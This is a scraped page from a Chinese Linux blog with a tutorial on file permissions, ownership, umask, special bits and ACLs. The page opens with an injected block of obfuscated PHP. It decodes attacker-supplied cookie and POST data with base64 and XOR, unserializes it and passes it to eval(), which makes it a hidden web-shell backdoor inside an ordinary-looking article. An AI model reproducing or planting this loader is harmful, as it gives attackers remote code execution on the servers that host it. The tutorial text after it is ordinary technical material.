$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux文件系统权限详解 | Linux运维部落

Linux文件系统权限详解

一、综述

在用户和组的管理中介绍了Linux系统是用户多任务的分时操作系统,这意味着同时可以有多人在同一台pc上进行不同的操作。为了能够保护每个用户的数据安全,针对不同的用户设置相应的权限是非常重要的。

Linux文件系统权限主要针对三类用户:

文件的所有者: owner,用u标识

文件的所有组:group,用g标识

其他人: other,用o标识。不包含在文件所有者和所有组内的系统其他用户。

二、文件权限及从属关系修改

       1、查看文件权限

       使用ls –l可以查看。以

blob.png

       1.1文件类型:

普通文件—f;目录文件—d;块设备文件—b;字符设备文件—c;软连接文件—l;套接字文件—s;管道文件—p

       1.2文件权限:

              读—r  readable

              写—w writeable

              执行—x。excutable(比如脚本、二进制文件、目录等文件具有此权限)

本文主要就文件权限进行解释以及对文件属组、属主、权限的修改做相关介绍。其他内容暂不做介绍。

    2、对于文件和目录来说,rwx代表的权限是不一样的。

rwx对文件来说:

       r: 代表可以使用文件查看类命令来查看文件内容,比如cat、less等。

       w:代表可以通过编辑器等修改文件内容。比如vim、nano、重定向等。

       x: 代表可以把此文件提交给内核启动为进程。

rwx对目录来说:

       说明下,目录也是一种文件,存放的是下属的文件与inode节点的对应关系。

       r: 可以通过ls查看文件内容

       w:可以在该目录下创建文件或删除文件

       x:可以通过cd命令进入该目录,以及通过ls –l查看目录下属文件的详细信息。 

3、文件权限的表示方法:

       文件的权限是3个字符一组的。分别对应所有者、所属组、其他人的权限

blob.png

权限、二进制、八进制表示如下表

blob.png

例如:/etc/passwd的权限rw-r–r–可以表示为: 644

4、文件权限的修改

       通过chmod命令修改。用法为:

              chmod  [OPTION]…  OCTAL-MODE  FILE…   

                     常用options有:

-R 表示递归修改,长用于包含多个文件或子目录的目录权限修改。

–reference=source_file 参考某文件的权限来修改

4.1修改权限的方式一:

       可以针对属主、属组、other单独修改: chmod  u=|g=|o=  file/dir

也可以组合修改: chmod  ug=|go=  file/dir

例:在某目录下有test.file文件,对其进行权限修改

blob.png

4.2 方法二:

使用八进制来修改。上图中文件的权限为664,将其修改为属主、属组、other都具有r、x权限。

blob.png

4.3 方法三:

参考某文件的权限进行修改。如:新建文件new.file,参考test.file将其权限修改与test.file一致。

blob.png

5、修改文件从属关系

5.1 修改属主、属组。chown命令

chown  [options] username:groupname  filename

       常用options:-R 递归,用于目录

chown  root  testfile :修改文件的属主

chown  root:admins  testfile:修改文件的属主和属组

chown  :admins  testfile:修改文件的属组

例:将test.file 属主、属组修改为hadoop,new.file属组修改问gentoo

blob.png

5.2 chgrp (change group的缩写,顾名思义,只能修改文件的属组)

chgrp  grouname  file

       常用参数:-R:递归,用于目录

三、umask介绍

       umask指在创建文件或目录时的默认权限。

              1、新建的文件默认权限:666-umask

                     一般来说,文件默认不允许包含x权限,如果所得结果某位存在执行(奇数)权限,则将其权限+1

              2、新建的目录默认权限:777-umask

查看umask:umask

       blob.png

设定umask:umask #

       blob.png

umask –p:输出可被调用

五、linux文件系统的特殊权限

       权限针对owner、group、other,特殊权限也分别针对这三类用户。

owner、group、other分别对应SUID、SGID、STICKY。

5.1 SUID介绍

       要了解SUID的应用,先来了解下安全上下文。

安全上下文:任何一个可执行文件能不能启动为进程,起决于其发起者对程序文件是否有可执行权限。启动为进程后,进程的属主为发起者,进程的属组为发起者所属的组。进程访问文件时的权限,起决于进程的发起者:

1、 进程的发起者,同文件的属主,则应用文件属主权限

2、 进程的发起者,属于文件的属组,则应用文件属组的权限

3、 应用other的权限

应用场景:当一个用户要以程序文件的的属主身份发起进程,并且访问文件时。比如:passwd命令可以修改用户的密码,但是普通用户对/etc/passwd没有读权限,对/etc/shadow是没有任何权限的。但是普通用户又能成功修改密码,这是因为,passwd文件具有SUID权限。

blob.png

 

 设置和取消SUID权限。

 chmod  u+s  file  设置SUID

 chmod  u-s  file  取消SUID

blob.png

当文件的属主具有x权限是,SUID表现为s,当没有SUID权限时,表现为S。

需要注意的是。具有SUID的程序文件运行为进程访问文件是通过程序文件的属主来对比权限的,在给属主为root的文件设置SUID时应考虑到到对系统的破坏性,建议慎用。

5.2 SGID介绍

       当多个成员共同参与一个项目,该项目有专用的目录来存放项目文件,目录的属组为项目组。这时,项目成员在该目录下创建的目录分别为自己的基本组,对于项目组管理来说带来不便。

若为此目录设置设定了SGID,则对此目录有写权限的用户在此目录中创建的文件所属的组为此目录的属组。这就是SGID的作用。

SGID的设置方法:

chmod g+s DIR…

chmod g-s DIR…     

5.3 STICKY介绍

       若一个用户对某目录具有rwx权限时,意味着他可以删除该目录下其他用户的文件,在项目协作的目录中,要使用户只能删除自己所有的文件,其他文件可以修改但是不可删除。这就需要设置STICKY权限。

权限设定:

chmod o+t DIR…

chmod o-t DIR…

5.4 权限位映射:

     SUID: user,占据属主的执行权限位

s: 属主拥有x权限

S:属主没有x权限

    SGID: group,占据属组的执行权限位

s: group拥有x权限

S: group没有x权限

   Sticky: other,占据other的执行权限位

t: other拥有x权限

T: other没有x权限

六、访问控制列表

       ACL(Access Control List)

除了文件的所有者,所属组和其它人,可以对更多的用户设置权限,实现灵活的权限管理。

6.1 设置ACL

setfacl  –m  u|g:username|groupname:mode  file:为某用户或组设置acl。

setfacl  -M  acl_file  file:使用acl_file里面的配置来设置文件的acl

setfacl  -x  user  file:删除指定文件指定用户的acl

setfacl  -X  acl_file  file:参考cal_file删除指定文件的acl配置

mask的权限也可通过修改属组的权限来修改,属组的权限和mask权限同步

setfacl  -m  mask::mode file

setfacl  -m  d:u:username:mode  dirname:对一个目录设置defaults权限,在目录先新建的文件将继承此权限

setfacl  -k  file/dir:删除默认的acl权限

mask:除了所有者和other,其他用户的权限不能高于mask定义的权限;

setfacl  -b f ile/dir:删除所有的acl权限(包括属组的权限,通过setfacl新增的用户、组的权限等)

setfacl  acl.txt | setfacl  -M-  newacl.txt:参考文件1的acl来设置文件2的acl

 

例:设置/gramdir /programfile1的权限,使hadoop用户不具有写、执行权限,program组具有读写权限,使新建文件自动具有acl权限:gentoo用户具有rw权限;sysadmins组具有r权限。

 blob.png

查看:getfacl  filename

blob.png

 blob.png

6.2 acl的备份和恢复

主要的文件操作命令cp和mv都支持ACL,只是cp命令需要加上-p 参数。但是tar等常见的备份工具是不会保留目录和文件的ACL信息。

#getfacl -R /tmp/dir1 > acl.txt

#setfacl -R -b /tmp/dir1

#setfacl -R –set-file=acl.txt /tmp/dir1

#getfacl -R /tmp/dir

例:备份gramdir目录中所有文件的ACL,清除gramdir的所有ACL权限,并利用备份还原

blob.png

原创文章,作者:M20-1钟明波,如若转载,请注明出处:http://www.178linux.com/28347

(0)
上一篇 2016-08-04 14:40
下一篇 2016-08-04 14:40

相关推荐

  • Linux 中cp 、rm和mv与inode之间的关系

    1.cp和inode          当文件不存在时,分配一个新的inode号,创建新文件;          当文件存在时,则inode号采用被覆盖之前的目标文件的inode号。 2.rm和ino…

    2017-07-21
  • 计算机基础

    计算机系统 计算机系统由两大部分组成硬件系统(Hartware)和软件系统(Software) 硬件系统:主要由中央处理器、存储器、输入输出控制系统和各种外部设备组成。中央处理器是对信息进行高速运算处理的主要部件,其处理速度可达每秒几亿次以上操作。存储器用于存储程序、数据和文件,常由快速的主存储器(容量可达数百兆字节,甚至数G字节)和慢速海量辅助存储器(容量…

    Linux干货 2017-05-20
  • linux密码的破解与保护

    找回root口令:   遇到密码丢失的情况,如果只是普通用户的密码丢失,那么可以让管理员重新设定密码。但是如果管理员用户的密码丢失,那该如何解决?   在 Linux环境中root 密码忘记还是可以救回来的!只要能够进入并且挂载 / , 然后重新设定一下root的密码,就救回来啦!这是因为开机流程中,若强制进入runlevel 1 时, …

    Linux干货 2016-09-22
  • 第十周练习-脚本部分

    1、写一个脚本 (1) 能接受四个参数:start, stop, restart, status start: 输出“starting 脚本名 finished.” … (2) 其它任意参数,均报错退出; #!/bin/bash # case $1 in start)     echo&…

    Linux干货 2016-12-31
  • rpm 详解

     rpm 包详解 程序包的命名格式:name-VERSION.tar.gz 拆包:主包和分包 主包:name-VERSION-release.arch.rpm 支包:name-function-VERSION-release.arch.rpm   注意:程序包之间有时会存在依赖关系,依靠前端工具解决依赖关系 yum Rhel系列系统上的r…

    Linux干货 2017-08-17
  • N26 第五周博客作业

    1、显示当前系统上root、fedora或user1用户的默认shell; 演示:     [root@263821a05cd9 /]# grep -E “^(root|fedora|user1)\>” /etc/passwd    root:x:0:0:root:/r…

    Linux干货 2017-03-05

评论列表(1条)

  • rex
    rex 2016-08-04 23:00

    对命令的常见用法总结的很好,SUID,SGID,Sticky的应用场景给出一些示例来,能让读者更清晰哦。